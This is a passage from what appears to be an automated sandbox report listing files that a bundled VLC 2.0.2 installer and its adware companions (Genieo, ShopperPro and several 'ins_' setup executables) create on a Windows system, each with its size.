C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops_stemmed3.stop (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fr_stops_stemmed2.stop (395 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\origin\ru_lang.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\genieutils.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\preset_feeds.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\cluto_wrapper.properties (942 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\json.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\httpclient-4.2.jar (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\no_topwords.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_mapping.txt (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fi_stops_stemmed.stop (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\amazon_ad_api.jar (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_morestops.stop (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-api-1.0.1.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_general.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\fr_top_1000_draft.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\de_top_100_draft.txt (582 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ro_stops_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_explicit.stop (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_ob.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\jericho-html-3.1.jar (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_articlebase.txt (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\genieo.l4j.ini (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\it_stops_stemmed2.stop (473 bytes)

The process vlc.exe:3208 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.3208 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.3208 (11109 bytes)

The process InstallGenieo.exe:2936 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\MozillaHistoryView\readme.txt (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JDOM_FAQ.htm (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso94C1.tmp (32607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Jericho HTML Parser.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JDIC_Plus_index.html (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Apache log4j 1.2 - Project License.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JettyNOTICE.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\TrayUi\bin\gentray.exe (18964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JavaMail API Reference Implementation Ã¢â‚¬â€ Project Kenai.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\reallysimplehistory - Project Hosting on Google Code.htm (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\License - jQuery JavaScript Library.htm (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\uninstall\Elevate.exe (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\iehv\iehv.chm (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\IeSearchProvider.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\OpenSorcePackagesInUse.txt (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\conf\conf.ini (227 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Launch4j - Cross-platform Java executable wrapper.htm (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\iehv\readme.txt (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\oauth-signpost - Project Hosting on Google Code.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso94C2.tmp\fct.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\license.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\TrayUi\conf\conf.ini (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\uninstall\updater_uninstall.exe (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\IE HistoryView Freeware Internet Explorer History Viewer.htm (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JavaMail_SMTP.txt (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso94C2.tmp\KillProcDLL.dll (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\MozilaHistoryViewbrowsers.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\prepenv_setup.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\conf\updater_manifest.xml (297 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\MozillaHistoryView\MozillaHistoryView.chm (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\SQLite Copyright.htm (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Licenses.htm (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\firsttime_setup.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\genupdater.exe (10430 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\LicenseAgreement.txt (784 bytes)

The process InstallGenieo.exe:3200 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\genieo_temp\InstallGenieo.exe (18368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn902F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn902E.tmp (33533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\partner_uninstall.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\genieo_temp\genieo_setup.exe (16903 bytes)

The process DCytaiesmt_smtyc_setup.exe:2348 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_iwebar.exe (42441 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_26762\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_shopperpro.exe (19175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_yta.exe (42190 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_sense.exe (43086 bytes)

The process DCytaiesmt_smtyc_setup.exe:2100 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_4716\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process spbiu.exe:1060 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:1732 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process vlc-2.0.2-win32.exe:1828 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (326774 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (68799 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (24832 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\LangDLL.dll (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49631 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (22552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (58402 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (27504 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
